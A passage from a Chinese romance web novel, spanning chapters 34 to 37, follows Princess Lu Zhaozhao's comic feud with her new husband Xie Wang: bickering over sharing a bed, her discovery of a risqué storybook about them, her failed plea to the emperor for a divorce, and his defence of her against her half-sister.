想到谢妄适才落荒而逃的情景,陆朝朝就忍不住失笑,她忽然觉得嫁到谢家也不是没有一点好,最起码谢夫人和大少夫人都对她很友善,大少夫人的一双儿女也很可爱,而且谢夫人告诉了她谢妄这么大一件 糗事。 她决定收回自己的决定,谢妄讨厌是他一个人讨厌,和谢家其他人无关,她以后还是会好好和谢家其他人相处的。 暮色四合,明心堂中已经传了晚膳。 陆朝朝有意叫谢妄难堪,故而特意差人去请他一道用晚膳。她还以为谢妄不会来,没想到他竟来了,虽然还是一副黑着脸的模样。 “坐啊。”陆朝朝一看见他就忍不住嘴角上扬,那笑容分明就是不怀好意。 谢妄只当没看见,落了座,安静地拿起筷子吃饭。他越是故作镇定,陆朝朝越想逗弄他,她故意开口道:“白日的事,你可千万别放在心上哦。” 谢妄抬眸看她,又听她道:“这样我才好日日都提醒你一遍。” 谢妄:“……” 他放下筷子,正色道:“人在婴孩时的许多举动其实都并无任何特殊的含义。” 陆朝朝点点头:“那想必我明日便把此事宣之于众,你也不介意咯?” 谢妄脸色一沉。 陆朝朝又得意地笑起来。 待用过晚膳,陆朝朝让人把东西撤下去,又让她们备热水沐浴。时值盛夏,她今日和林娇她们逛了许久园子后回来便沐浴过一回,但下午一番走动身上又出了些汗,这会儿肌肤有些黏腻,她只想赶紧洗个澡,而后躺下。 她穿过膳厅,往寝间去。 岂料谢妄竟也跟着。 陆朝朝警惕地审视他:“你跟着我做什么?” 谢妄微微拧眉:“公主,这也是我的住处。” 他的意思是,他晚上还要跟自己睡一个屋?那怎么行? 陆朝朝坚决不同意:“这儿这么多房间,你马上搬走。” 她话音未落,谢妄已经先她一步迈进寝间的大门,他撩起衣袍,便往床边大刀金马地一坐,“不搬。” 陆朝朝见他坐在床边,愠怒道:“你从我床上起来,不准坐我的床。” 谢妄瞥了眼身侧的红色床帐,道:“很显然这是我们俩的床。” 陆朝朝:“……” 陆朝朝:“我说是我的就是我的,你起来,本宫命令你起来,滚出去!” 谢妄按兵不动。 陆朝朝着急得咬了咬唇,威胁他:“你你你……你不起来的话,我就……把你搂着姑娘家的裙子睡觉的事说出去,我不止要说出去,我还找八十八个说书先生意思说,添油加醋地说,以后全京城都会知道你谢缜之喜欢搂着姑娘家的裙子睡觉!” 谢妄面上一沉,回敬她:“那全京城也会知道,殿下如何玷污我的清白,又对我始乱终弃。” 陆朝朝柳眉轻横:“我什么时候玷污你的清白了?” 谢妄:“那殿下要问全京城的百姓信不信了。” 陆朝朝恨恨看着他,若是真这么做,那他们就是两败俱伤。左右谢妄是不在乎脸面的,可是她在乎,算起来还是她亏了。 她深呼吸,退了一步:“那让他们添张榻,你睡榻,这样总可以了吧?” 谢妄敛眉沉思片刻,站起身来,道:“来人,给屋里添张榻。” 陆朝朝撇撇嘴,没好气地瞪了他一眼,而后让风荷收拾换洗的衣物去了净室。 她舒舒服服地沐浴更衣出来时,谢妄也已经沐浴过,换上寝衣,倚在榻上。昨日因为太过疲惫,她还没发现房中多出一个男人是如此怪异,尤其是这个人还是一个她讨厌的人。 她用余光瞥了眼谢妄,而后解下金钩,放下幔帐,挡住了谢妄的脸。 这人真是没风度极了,连间屋子都要跟她抢。 思及此,她又从床帐里探出个脑袋,嘲笑他:“你晚上就这么睡睡得着吗?要不要我大发慈悲给你一套裙子让你搂着啊?” 谢妄:“……” 方才她未施粉黛地出来,头发素净地垂落在肩侧,夏时的寝衣轻薄凉爽,她胜雪的肌肤映入他眼帘,这是他从未看见过的模样。他心下有些微妙,心跳都比寻常快了一些。 谢妄垂眸,道了一句:“那多谢了。” 陆朝朝震惊地又从床帐里探出个脑袋,不可置信地看着他:“你真的这么变态啊?” 谢妄:“……既然你觉得我有这种爱好,那我就有好了。” 陆朝朝努努嘴,不理他了。 总觉得好像被他扳回一局。 她侧身躺下,身下玉簟触肌生凉,很是舒爽,她翻了个身,决定睡觉。想到什么,又坐起身探出脑袋,警告谢妄:“你要是敢对我做什么,我对你不客气。” 说罢,便又回身躺下。 红色的幔帐并非完全隔绝视线,隐约能看出一道人影,谢妄收回视线,亦躺了下去。 屋内的灯烛都灭了,檐下的灯光昏昏地透过窗纱,映进室内,笼出一层模糊的影。谢妄侧身躺着,枕着自己手臂,并无睡意。 他也同样对与一个女子同睡一室并不习惯,何况这个女子,还常常令他有所反应。 谢妄阖上眸子,想到白日里与她紧紧相贴那一幕,她身上的热度仿佛穿过虚幻的记忆,灼烫他一瞬。谢妄睁开眼,愈发精神焕发。 房中放置着冰鉴解暑,按说房中的温度比外头凉快许多,并算不得热,谢妄却觉得烈火焚身。他额上一层细密的汗,索性坐起身。 他侧眸望向拔步床的方向,隔着幽深的红色,什么也瞧不见。 夜色已经深了,她安稳的呼吸声从床帐中传来,谢妄静静坐了许久,不知何时才入睡。 第二日起来时,陆朝朝又没看见谢妄身影,她昨日已经知晓他去干嘛,今日便没再问,只叫她们伺候着梳洗。 用过早膳后才见到谢妄,只见他眼下有些乌青,似乎是昨夜没有睡好。陆朝朝还以为他是因为昨夜睡小榻才没睡好,嘟囔道:“谁让你自己不愿意搬出去睡,自找的。” 谢妄闻言深深看向她。 陆朝朝眨眨眼,不知道他干嘛盯着自己,正巧听得谢绵绵过来找她玩,便出了门去和谢绵绵一起玩了。 谢绵绵扶着门框跨过门槛,奶呼呼地唤陆朝朝:“小婶婶,绵绵来找你玩啦。” 陆朝朝抱她起来,在她脸颊亲了一下:“绵绵来啦,走,我们去玩。” 谢绵绵看了眼谢妄,也非常有礼貌地和谢妄打招呼:“小叔,我把小婶婶借走一下下哦。” 陆朝朝说:“不要叫我小婶婶,叫姐姐。” 谢绵绵有些疑惑:“可是我叫你姐姐的话,那小叔怎么办?” 陆朝朝也意识到不对,那她岂不是和谢妄差辈儿了?让他占便宜,那不行。 “那你就叫我公主。” 谢绵绵显然还不太理解陆朝朝的要求,但还是照做:“好吧,公主。” 陆朝朝又在她脸颊上亲了一下,高兴地抱着她出去玩了。 谢绵绵是真的很喜欢这个新来的小婶婶,她长得好漂亮,她以后也要长这么漂亮。 谢绵绵搂住陆朝朝的脖子说:“公主,绵绵以后也要长成你这么漂亮的大姑娘。” 陆朝朝哄她:“那当然啦,绵绵以后也会长成这么漂亮的大姑娘的。” 今日郑婉然有些事不在府里,只有奶娘带着谢绵绵,奶娘见小姑娘和公主一块儿玩,不敢扫她们的兴,也没跟得太紧。谢绵绵拉着陆朝朝回了自己的屋子,把自己平日里喜欢的东西都拿出来给她看,有她最喜欢的首饰,和她最喜欢的衣裳,还有各种小玩具。 “绵绵最喜欢这条裙子啦,是阿娘送我的。”谢绵绵给陆朝朝展示。 陆朝朝说:“我还有更漂亮的,改天我送你。”她自幼是崇光帝的掌上明珠,衣食住行自然都是最好,漂亮裙子更是少不了。 陆朝朝看着那条裙子,忽地想到谢妄,她轻笑出声,说了一句谢 绵绵听不明白的话:“绵绵,你这么喜欢这条裙子,可要收好了,别让你小叔偷走了。” 谢绵绵不太懂,小叔是男子,男子怎么会偷她的裙子呢? 她笑着说:“不会的,小叔他不喜欢这些东西。他不喜欢漂亮的裙子,也不喜欢漂亮的首饰,他喜欢……看书。” 她想起什么,眼前一亮,而后神神秘秘地从自己的床底下翻出一本书,给陆朝朝看。 “公主,这本书是绵绵上次从小叔书房里偷拿的,他放在桌子上,绵绵想看,结果万山叔叔特别宝贝地不给我看,肯定是因为小叔特别喜欢这本书。所以我后面就偷偷溜进去,把它拿回来了。不过绵绵认识的字还太少了,都看不懂书里写的什么,公主公主,你一定认识很多字吧,你念给绵绵听好不好?” 陆朝朝点头应好,从谢绵绵手里接过书。 心想谢妄喜欢看的书,估计是那种很难读的书吧,虽然她可能看不太懂,但应付一个五岁的小孩子应该不成问题。她想着,看了眼书的封页,好奇怪的一本书,封页上竟然没有写书名。 她翻开第一页,眉头一皱。 书里竟然有她和谢妄的名字,好诡异。她往后翻了几页,脸色渐渐有些难看,这本书哪里是什么正经书,分明是一本话本,主角就是她和谢妄。 想到谢绵绵的话,她眉头皱得更深,谢妄很喜欢这本书?他喜欢看写他们俩的话本? 陆朝朝心头有些沉,又耐着性子往后翻看了些,而后忍不住惊叫一声,把手里的书扔了出去。 第35章 第三十五只一个念头,便让他头皮有些…… 陆朝朝怎么也没想到,她有生之年会看见这种不堪入目的东西,她只觉得自己眼睛都被弄脏了,好可怕。她瞪大双眼,捂着心口,久久不能平静。 谢绵绵被她的反应吓了一跳,问道:“公主你怎么啦?是这本书里有吓人的虫子吗?” 她小跑过去,把被陆朝朝扔出去的书捡起来,好奇地翻起来。 陆朝朝见状,赶紧把书从她手中夺走,这么污秽的东西怎么可以给小孩子看,会带坏小孩子的! 她拿走书,笑着编了个理由:“是呀,书里有好大一只虫子,可吓人了,绵绵不要看。我们换一本书看好不好?” 谢绵绵不疑有他,点点头,又去找了另一本书给陆朝朝,这回是本正经的书,陆朝朝压下心里的情绪,耐着性子给谢绵绵念书,又陪她玩了会儿。谢绵绵玩累了,被奶娘抱回房间里睡觉,陆朝朝松了口气,脸色一沉,拿着那一本气势汹汹地回明心堂找谢妄算账。 谢妄正在书房里,他在家中的时候大多数时候都在书房里待着。千山和万山二人候在书房门外,见陆朝朝过来,恭敬行礼:“公主。” 陆朝朝此刻正在气头上,连带着不待见他们俩,瞪了眼他们,径直往前走。千山意欲阻拦:“公主殿下,公子他不喜人打扰。” 陆朝朝才不听,执意要进去,千山和万山也不敢拦,只好在门外通传了一声:“公子,公主来了。” 谢妄早听见他们的争执,见陆朝朝过来,还有些意外,还未及开口,便听得陆朝朝骂道:“你这个大色/。鬼!” 谢妄凝眉,继花心风流之后她又给自己扣上了另一顶帽子。 他淡声开口:“公主又从何处添油加醋地想象给我扣上一项罪名。” 全京城都知晓他不近女色,竟然有朝一日,会有人给他扣一顶“色/鬼”的帽子,她就不能找一个好点的理由么?至少找一个没那么扯的理由指控他。谢妄看着陆朝朝。 陆朝朝冷哼一声,把那本书从袖中拿出来,甩在谢妄跟前,那姿态颇像捉拿犯人时犯人狡辩,堂上甩出关键证据叫犯人闭嘴。 从前谢妄只做过堂上那位,还从未做过堂下那位。他眉头微压,拾起她扔过来的东西,只见是一本封页空白的书。他一时没记起来,只觉得有些许眼熟。从前那批缴获的话本都叫他烧了,一本不剩,他一时也没想到那上头去。 他翻开几页,随之脸色一变。 也没想到这东西怎会流落到陆朝朝手里。 陆朝朝将他的反应看在眼里,双手环抱胸前,冷笑着盯住他:“是我添油加醋想象的吗?你百口莫辩了吧,谢缜之。” 她来回踱步,语气又有些不可置信:“我真是没想到啊,你藏得这么深,平日里装得那么不近女色,结果背地里竟然……”她轻啧一声,又拿狐狸眼瞪他。她原本只是拿抓周的事揶揄谢妄,没想到谢妄竟然是真的变态。 谢妄终于开口:“不是你想的那样。” 陆朝朝:“那是哪样?我听你狡辩。” 谢妄薄唇抿成一条线:“开春那会儿,城中有些荒谬的关于你我的传闻,我便让人去查了查,结果查到了这些意外收获,那些东西我早已经销毁。” 陆朝朝拖长声音哦了声,随之又冷笑:“你以为我会相信你的花言巧语吗?既然你是查获的,那你为什么要收着这些东西放在书房里,还很宝贝?你完全可以直接销毁啊。” 谢妄眉头一皱:“宝贝?我几时宝贝这种东西?” 陆朝朝急道:“谢……” 话到嘴边又还改了口,这件事简直太污秽了,她不能把谢绵绵牵扯进来,只冷笑说:“反正你就是宝贝,你就说你有没有翻看过?” 谢妄几乎是立刻就回答:“没有。” 陆朝朝又说:“那你发誓,你用谢家发誓你没看过。” 谢妄抬眸,倏而不语。 陆朝朝莹润的眸子微张,嘴角一扯:“我就知道!你这个大色/鬼,大淫/魔,你简直太可怕了。” 更可怕的是,那本书里写的还是自己。陆朝朝都不敢细想,她原本以为谢妄只是为了报复自己,所以才把自己娶回家,结果现在忽然发现他好像不止是因为报复,还贪图自己的身子??? 陆朝朝觉得自己现下的处境危险极了,简直就是羊入狼窝,他们昨晚还在一个屋子里睡觉! 陆朝朝咬唇,表情惊恐,又盯着谢妄往后退了两步,俨然他是什么衣冠禽兽。 谢妄:“……” 她深吸一口气:“和离,我要跟你和离,立刻。” 陆朝朝撂下这一句,又拎着裙摆匆匆出了门,她回了房间,让风荷她们准备纸笔,当即写下一封和离书。风荷和水月对视一眼,皆是不解:“殿下,谢大人可是做了什么惹您生气的事?”怎么就要和离了? 陆朝朝有一腔怨言,只是对着她们,又觉此事太过污秽,不知怎么和她们提起,只好说了一句:“反正他是一个大色/鬼。” 她们对视一眼,俱是难以置信,大色/鬼这三个字和谢大人那副疏淡高傲的样子显然怎么也联系不到一起。 “这当中是不是有什么误会啊殿下?”风荷劝道,毕竟他们才新婚第二日,哪有新婚第二日就和离的夫妻?陛下定然也不会答应的。 陆朝朝已经做了决定,才不想听她们的劝,“我不管,反正我必须和他和离。” 那本话本通篇都是那等可怕的东西,而且描写用词之粗鄙,简直令人咋舌,谢妄竟然喜欢看这种东西,可见他的内心有多可怕。不是有句话说得好嘛,人面兽心,这个词就很适合谢妄。而且他平时还装得这么不近女色,谁知道他本性是什么样子。万一他哪天兽性大发,对自己做点什么那可怎么办? 越想越觉得背脊发凉,陆朝朝搁下笔,又在和离书上按下自己的手印,而后带着和离书冲到谢妄书房,把和离书摔在他面前。 “和离书,我已经签好了,你赶紧签了吧。”她眼神带着毫不掩饰的嫌恶。 谢妄拿起和离书看了一眼,又看一眼小公主,语气坚决:“我不签。” 陆朝朝:“你敢!” 谢妄将和离书搁在桌案上,身子微微倾斜靠着椅背,好整以暇看着陆朝朝:“依照大齐律例,和离须得夫妻双方皆同意,我不同意和离,公主便不能与我和离。” 陆朝朝咬唇:“你要是不肯跟我和离,那我就休了你。” 谢妄眉目如霜:“即便公主可以休我,那我请问公主,按照大齐律 例,休弃一方,须得他犯下重大过错,我犯了什么过错?” 陆朝朝咬牙看他,差点忘了他就在刑部做事,这些律例条文他当然信手拈来。她道:“你是大色/鬼!” 谢妄继续说:“这种理由就是闹上官府,官府并不会同意你的诉求。首先,食色性也,人之常情,大齐并没有哪条律例明令禁止百姓看这一类书籍。其次,公主如今是我的妻子,而这本书里写的,也就是我和我的妻子,这更是不可能违背律法了。” 陆朝朝咬牙的力道更重,说起来就是没办法了,她委屈地嘟了嘟嘴:“我明天就进宫求父皇下旨,你等着。” 她说罢,气恼地回了自己的房间。 回到房中,瞧见谢妄睡过的那张榻,她都觉得碍眼,赶紧让人扔出去,又命她们把谢妄的旁的东西也扔了出去。 谢妄过来时,就看见这么一幕,他的东西被杂乱地堆在廊下,俨然被扫地出门。 千山和万山跟在身后,万山小心翼翼道:“公子,属下帮你另外收拾一间房吧。”不然今晚都没地方睡了。 谢妄睨他一眼,万山赶紧垂下头。 这日夜里谢妄宿在别处,陆朝朝也睡得并不安稳。次日一早,她用过早膳便叫人备马车进宫。 出门时,谢妄也在。 陆朝朝蹙眉:“你想干什么?” 谢妄道:“进宫给父皇请安。” 陆朝朝愠怒道:“你不许叫父皇,那是本宫的父皇!” 谢妄道:“我是您的驸马。” 虽然很不想承认,可一切礼数周全,名义上来说的确如此,陆朝朝只好道:“马上就不是了!” 谢妄:“未必。” 陆朝朝哼了声,越过谢妄踏出府门,“你不许跟我同乘一辆马车。” 她不要跟这个大色/鬼待在一辆马车里。 陆朝朝等着马车过来,结果等了许久,也没等到她的那辆马车,只有风荷面露为难地过来禀报:“殿下,马车不知怎么出了些故障,已经差人在修了,只是还需要一些时间,也不知道多久。” 陆朝朝:“……” 好烦,怎么没一件顺心的事啊! 她不想再等了,现在立刻就要进宫求父皇下旨让她和谢妄和离,一刻也不想拖了。 她看了眼一旁的谢妄,谢妄的马车已经来了,他在她的注视之下登上了车舆。 他还特意撩开帘栊对陆朝朝说:“虽然公主骂我是大色/鬼,但我为人大度,可以不计前嫌让公主上车。” 陆朝朝:“……” 她扭过头,只当没听见。 她等着他们赶紧修好马车。 只是等了许久,也没见修好,风荷看了眼情况,劝道:“要不您就和谢大人凑合一下吧。” 陆朝朝不要,她问:“府里其他马车呢?” 风荷道:“似乎谢阁老用了一驾,谢夫人用了一驾,大少夫人用了一驾,大公子用了一驾。如今只有这两驾马车空着。” 陆朝朝:“……” 陆朝朝:“他们谢家就不能多备几驾马车么?” 一旁的谢妄还未走,闻言再次撩开帘栊,“殿下,请您不计前嫌地上车吧。” 陆朝朝瘪嘴,料想这一路上的功夫谢妄也不敢对自己做什么,她轻哼一声,妥协地登上马车。只是离谢妄远远的,恨不得贴在车厢上。 “走吧。”她也不看谢妄,视线特意避开谢妄,就好像他是一团空气。 谢妄的目光却始终落在她身上。 陆朝朝被他盯着,终于有些忍不住:“你能不能别盯着我看啊!” 总有一种他的目光穿过了自己的衣服的感觉,谁知道他这会儿看起来正儿八经的,脑子里指不定在想什么龌龊的东西呢。 谢妄哦了声,移开视线:“我已经解释过了,我是翻看过,但那只是为了确认里面是什么内容,翻看过之后就销毁了。请公主不要再给我扣帽子了。” 陆朝朝回以一声冷哼。 谢妄抿唇,不语。 他真不知道小公主为什么会对自己成见这么深,若是换了章安澜,她也会这么笃定地扣下罪名么? 越想越心烦。 这种罪名实在很幼稚,以谢妄对崇光帝的了解,崇光帝不可能答应小公主的诉求,何况他实在可以解释。故而他并不担心。 今日是他们新婚第三日,按照大齐的习俗,出嫁的女子要带夫君回娘家归宁,所以他今日的确该和陆朝朝一起进宫。 马车一路往前行驶,马车内一室寂静,谁也不曾说话。谢妄闭目养神,陆朝朝亦闭着眼倚着车厢壁。 变故来得有些突然,马车忽地一阵失控,将陆朝朝甩了出去。她惊慌失措地想要站稳,一时间更是扭到了脚踝。 谢妄眼疾手快,在她的脸撞在车厢上时伸手拉了她一把。 而后,陆朝朝便坐在了谢妄腿上。 她慌忙想要站起来,才不想和这个大色/鬼有这么近的接触。只是甫一站起来,脚踝便传来钻心的痛楚,还未站定,痛楚便使得她又跌坐回去。 谢妄也发现了她的异样,先将人稳稳圈住,而后想要撩开她的裙摆和罗袜,查看她的脚踝伤势。陆朝朝重重拍开他的手,“别碰我,大色/鬼。” 谢妄有些无奈:“我只是想看看你的伤势。” 脚踝处的痛楚时时传来,疼得陆朝朝小脸都皱作一团,她只能安分地坐在谢妄腿上。 马车终于停稳,千山上前禀报情况:“公子,公主,方才街上忽然冲出来一个孩子,为了避让那孩子,这才叫马车失了平稳,惊扰了公子与公主,还请公子降罪。” 谢妄问:“那孩子没事吧?” 千山嗯了声:“孩子无恙。” 谢妄并未降罪,又看了眼陆朝朝:“公主可要先找大夫看看伤势?” 陆朝朝摇头:“不要,我要进宫。” 谢妄吩咐道:“继续赶路。” 陆朝朝缓了缓,觉得痛楚减轻了一些,便想试着站起身,从谢妄腿上下来。只是刚一使力,又痛得厉害,痛得她眼睛都闭上了,只好又坐了回去。 谢妄再次伸手想要查看她的伤势,“我帮你揉揉,会好一些。” 陆朝朝仍是倔强地拍开谢妄的手:“不要你这个大色/鬼帮我。” 谢妄不语片刻,而后呛了她一句:“公主现在正坐在这个大色/鬼腿上。” 陆朝朝撇嘴,又不是她想坐,这不是她现在动不了嘛。她咬了咬牙,想要强行撑着站起来,又痛得咬住嘴唇。 谢妄将人按下,“别动了,越动痛得越厉害。” 陆朝朝痛得眸中都沾了一层雾气,她用含雾的眸子瞪了眼谢妄,抱怨道:“都怪你。” 谢妄沉默,虽然他不理解为什么都怪他,眼下这一切似乎和自己关系不大。但还是难得顺从地嗯了声:“嗯,怪我。” 陆朝朝吸了吸鼻子,自己揉着脚踝。 她又不肯让自己帮忙。 谢妄看着她的脸颊,兴许是因为真的很痛,她的脸颊都染上了一层绯色。她距离自己太近了,腿贴着腿,这种夏日里,体温蒸出汗意。谢妄能感觉到她的重量,不算重,压在他心上。 许是因为她出了些汗,身上的体香也较先前浓烈了些许,很好闻。他几不可查地细嗅。 马车再怎样平稳,终究会有些许细碎的颠簸。谢妄渐渐觉出些异样。 他在别的事上或许经验纯熟,但在男女之事上到底是个毛头小子。而且他是一个身体健康的青年男人,此刻他喜欢的女子坐在他的腿上。 只一个念头,便让他头皮有些发麻。 谢妄深呼吸,试图让自己不要有什么异样的反应。 但是生理反应是最难控制的。 谢妄脸色有些不好看,看向陆朝朝的脚踝,问:“公主可觉得好些了?可以下去了吗?” 陆朝朝觉得他好烦,她再次试着想要站起来,但还是不能用力,再 次跌坐了回去。她有些气恼,胡搅蛮缠道:“不就坐一下你的腿吗?干嘛这么金贵,你嘴上这么说,不会心里其实在暗爽吧?你个大……” 陆朝朝的话音陡然止住。 第36章 第三十六对自己喜欢的人有反应,此乃…… “色/鬼”两个字仿佛是一阵风的尾巴,从她牙关里很轻地飘荡出来。陆朝朝愣住了,因为她感觉到了一些不同寻常的东西,带着不能忽视的热意,抵住她的腿。 在成婚之前,皇后曾指派过宫女来教她一些新婚之夜的注意事项,纵然陆朝朝并未将这桩婚事当成一件真正的姻缘,听得吊儿郎当,左耳进右耳出,但还是听到了一些,其中就包括男子的一些反应。 她呆愣片刻,而后很大声地惊呼一句:“啊——” 她面颊迅速被染上一层绯色,再怎么说她还只是一个未经人事的小姑娘,从前根本没有任何男人有过这种程度的接触。陆朝朝颤抖着手指指向谢妄,“你你你……你还狡辩,你现在铁证如山了吧。” 她一面说着,一面挣扎要从他腿上站起来,连脚踝处的疼痛都顾不上,一瘸一拐地退开几步,防备地盯着谢妄,愤愤道:“我要杀了你!” 谢妄不自然地避开她的视线,将一条腿架在另一条腿上,掩饰自己的不自然。 “是你自己在我腿上动来动去的。” 他怎么还能倒打一耙!陆朝朝更为恼怒:“什么叫我动来动去?分明就是你对我意图不轨,你好龌龊,你好恶心,啊啊啊啊啊啊啊我受不了了。” 她四下张望,恨不能立刻跳下马车,只是又不能跳车,张望一圈,只好又拿愠怒的眼把谢妄瞪着。她觉得自己都不干净了,仿佛受了天大的委屈,一双眼里雾气更浓,眼眶泛着红,实在显得可怜极了。 谢妄也觉自己眼下的情形有些狼狈,仿佛更是映证了小公主对他的指控。面对着小公主怨怒的眼神,谢妄思忖片刻,道了一句:“对自己喜欢的人有生理反应,此乃人之常情。” 人之常情个鬼!陆朝朝自动忽略了他的上一句里的喜欢的人,理所当然地觉得他就是个色/鬼。 谢妄垂眸不语。 二人就这么僵持着到了皇宫,陆朝朝先人一步迅速地撩开帘栊,唤风荷扶自己下马车。她脚踝还在痛着,连几步路都走得艰辛万分,谢妄也已经平复下来,跟着步下马车,见她这副模样,意欲上前搀扶。 陆朝朝余光才瞥到他身影朝自己走近,便恶狠狠给了他一记眼刀,警告他:“别靠近我,离我远一点,你这个人面兽心的……”后面的话她没说出来,只扶着风荷单腿往前蹦快了些,将谢妄甩在身后。 崇光帝知晓今日陆朝朝要回宫,早早便在等着,听闻宫人来通传,立刻便宣她进殿。陆朝朝搀着风荷,一瘸一拐地进了千福殿,一看见崇光帝就委屈地唤了声:“父皇。” 崇光帝被她这狼狈的一幕吓到,忙不迭上前来扶住她,将她扶到一边坐下,着急地关切问道:“怎么了这是?来人,快传御医。” 陆朝朝只觉得心里有无限的委屈,小嘴一撇:“扭到了。” 她拉着崇光帝的胳膊,哭诉道:“父皇,我不要嫁给谢妄了,我要跟他和离,你下旨让我跟他和离好不好。” 她看起来实在可怜,崇光帝心软不已,质问道:“他欺负你了?好个谢妄,这才几日,便敢欺负你,朕非得好好惩治他不可。他人呢?不是同你一起进宫的么?叫他滚进来见朕。” 陆朝朝摇摇头:“父皇,您不要问他了,他巧舌如簧,白的都能说成黑的,您就听我的,反正他就是欺负我了,我要跟他和离,或者我要休了他。” 崇光帝哄着她:“好好好,朝朝告诉父皇,谢妄怎么欺负你了?父皇给你做主!” 陆朝朝抽噎着,将那话本和方才在马车上的事说了,“他简直龌龊至极,父皇,我不要嫁给他,呜呜呜呜。” 崇光帝听罢,哭笑不得,他原本看朝朝的样子,还以为谢妄当真欺负她了,结果听完只是摇头叹气,态度软了下来:“傻孩子,就为这些事?成婚之前不是有人教过你了么,怎么你没认真听?男人面对喜欢的女人,有这些反应很寻常,你太大惊小怪了。” 陆朝朝没想到父皇的态度转变如此之快,她拉着崇光帝的衣袖,哭道:“可是……” 崇光帝打断她的话:“父皇也是男人,还会骗朝朝不成?原本父皇还担心他是不是真的喜欢你很久了,听你方才这么一说,倒觉得是真的。你和他还未圆房吧?你啊,也太小孩子脾气了,既然都已经嫁给他了,怎么还由着自己性子乱来。” 陆朝朝小嘴一撅,更委屈了:“我不管,我才不要。” 崇光帝又能如何,只好顺着她道:“好好好。” 反正来日方长,两个小年轻闹闹别扭,感情慢慢也就培养出来了。 父女二人正说着话,谢妄也进来了,他恭敬地向崇光帝行过大礼,“参见陛下。” 崇光帝轻咳了声,故作训斥:“谢缜之,你怎么能让朝朝受伤呢?朕可得罚你啊。” 谢妄:“是臣未能保护好殿下。” 他说着,看了眼陆朝朝。 陆朝朝别过头,并不看他。 正说着,宫人传话说是御医来了。崇光帝让御医进来,给陆朝朝诊治。 御医摸了摸陆朝朝的脚踝,道:“公主只是扭伤,不算严重,好生休养几日就好了。这几日里切莫再做任何剧烈运动,臣再给公主开些药膏敷着。” 御医走后,风荷将药膏替陆朝朝敷上。崇光帝也放了心,命人准备午膳,让陆朝朝二人留下来一并用过午膳再走。 陆朝朝情绪低落,还没死心,见机便拉着崇光帝撒娇,想让他答应自己的要求。可崇光帝始终只是敷衍她,还劝她不要耍性子。 陆朝朝心情写在脸上的不好,她又不能这笔账算在崇光帝头上,只好都算在谢妄头上,明里暗里地瞪了他好几眼。谢妄当然接收到了小公主的眼神,只当没看见。 陆朝朝腿不方便,便只和崇光帝在宫里坐着聊了会儿天,又陪崇光帝下了下棋,及至用过午膳后,又乘步辇去给皇后和太后请了安。 在皇后宫中遇上了陆皎月,陆皎月对她仍没什么好脸色。陆皎月没想到陆朝朝的狐媚手段如此了得,竟然当真连谢妄都勾得晕头转向,为她倾倒,更没想到她会嫁给谢妄。陆皎月虽然不喜欢谢妄其人,觉得他太傲又太冷淡,并不在自己择婿的考虑范围里,只是谢妄的家世和才能无可否认,陆朝朝嫁给他是锦上添花,她并不愿看到陆朝朝过得好。陆朝朝最好是过得狼狈不堪,生不如死,才称自己的意。 陆皎月阴阳怪气道:“恭喜三皇妹啊。” 陆朝朝冷笑说:“你想要的话,给你好了。” 陆皎月觉得陆朝朝这话在羞辱自己,眸色冷了几分:“三皇妹不愧是好手段,先前还喜欢章大人,转头又和谢大人勾搭上了。哦不,应当说,是同时吧?你一面勾搭着谢妄,一面又想着章安澜,还真是水性杨花,和你那下贱的母妃一模一样。” 陆朝朝本来就心情不好,和陆皎月说了两句话心情更不好了,她垮着脸,正思索该怎么骂陆皎月,忽地感觉身后一道宽大的阴影将自己笼住,男人冷冽的嗓音从身后传来:“还请明月公主谨言慎行。” 陆皎月冷笑:“本宫想说什么便说什么,你又能如何?莫非刑部的手已经管到本宫头上了?” 谢妄神色淡漠:“刑部自然管不到明月公主头上,只是明月公主方才言辞中多有侮辱之语,一则辱骂皇妹,二则辱 骂故去的贤妃。若是此事传至御史台,恐怕御史台那些言官要参明月公主一本。” 陆皎月一副蛮不在乎的样子,谢妄继续道:“事关公主声名,若是陛下知晓,免不得要惩罚公主一番。此事或许事小,但明月公主乃皇后一手教养长大,难免陛下不会猜想这些话是皇后教您所言,皇后出自郑氏,又难保陛下不会猜忌郑氏。如今储君未定,二皇子乃皇后所出。公主自己不在乎,难道这些也全不在乎么?” 这话让陆皎月脸色变了变:“你!谢大人真是好生伶牙俐齿。” 陆皎月自然在乎皇后,她自然不可能希望皇后再出事,也自然在乎二皇子。 她拂袖而去。 陆朝朝看着陆皎月吃瘪而去的身影,心中大快。她平时嘴笨,跟陆皎月骂来骂去,也只有那些不痛不痒的词,根本想不到这么多。 但转念想到这是谢妄帮自己,又觉得如鲠在喉。 她看了眼谢妄,说:“一码归一码,此事多谢你,但是改变不了你是个大色/鬼的事实。” 她说罢,又一瘸一拐地往前走。 谢妄默然跟着她。 二人往出宫的方向走,太阳有些晒,她今日进宫只带了风荷一个人,风荷又要扶着她,便不方便给她撑伞遮阳。她抬头,被日头刺得眯了眯眼。 谢妄看在眼里,撑开伞,倾斜在她头顶。 他虽没经验,但兄长和父亲那里有现成的例子可以学,这等小事还是有所领悟。 陆朝朝看了眼头顶的伞,有些诧异地看了眼谢妄。他怎么当真转了性了? 陆朝朝垂着眸子,看见地上伞的影子边沿一直往前,脑海中忽然闪过谢妄在马车上的那句辩白,他当时说的好像是,面对喜欢的女子…… 喜欢的女子,她? 新婚那天夜里,他也说过类似的话。 陆朝朝狐疑起来,她总觉得谢妄是在骗自己,就像她当时骗他一样,又隐隐在想,不会是真的吧? 第37章 第三十七我喜欢的人是你。 她分辨不出来,只好转移话题,问起方才谢妄和陆皎月说的话:“你方才说的那些是真的吗?” 谢妄道:“理论上来说是真的,但实际上,御史台没那么闲。” “哦。”她听明白了,就是吓唬陆皎月的呗。 不得不说,这种吓唬人的话从他嘴里说出来仿佛真的很有可信度似的。 未几,二人便行至马车前。 陆朝朝先一步扶着风荷登上马车,而后便坐进角落里,等到谢妄上来,她始终警惕地盯着他,那眼神好似他是个不法之徒。谢妄看见她的眼神,一时无言,默然在另一侧坐下。 好在回去谢家这一路上,没再发生什么意外。待马车停在谢府门前,陆朝朝便赶紧下了马车,回了自己的住处。 之后几日,陆朝朝也始终对谢妄避如蛇蝎。二人不仅分房而睡,平日里连用膳也是分开的,就算二人见到了,陆朝朝态度也不加掩饰的躲避,如此情形,别说林娇和郑婉然发现不对,就连谢绵绵都察觉出不对劲来。 谢绵绵牵着陆朝朝的手,疑惑地问:“公主,你是不是和小叔吵架了呀?爹爹和阿娘吵架的时候就会这样子,两个人都不讲话。可是吵架不是好习惯哦,吵完架之后要快点和好才可以。” 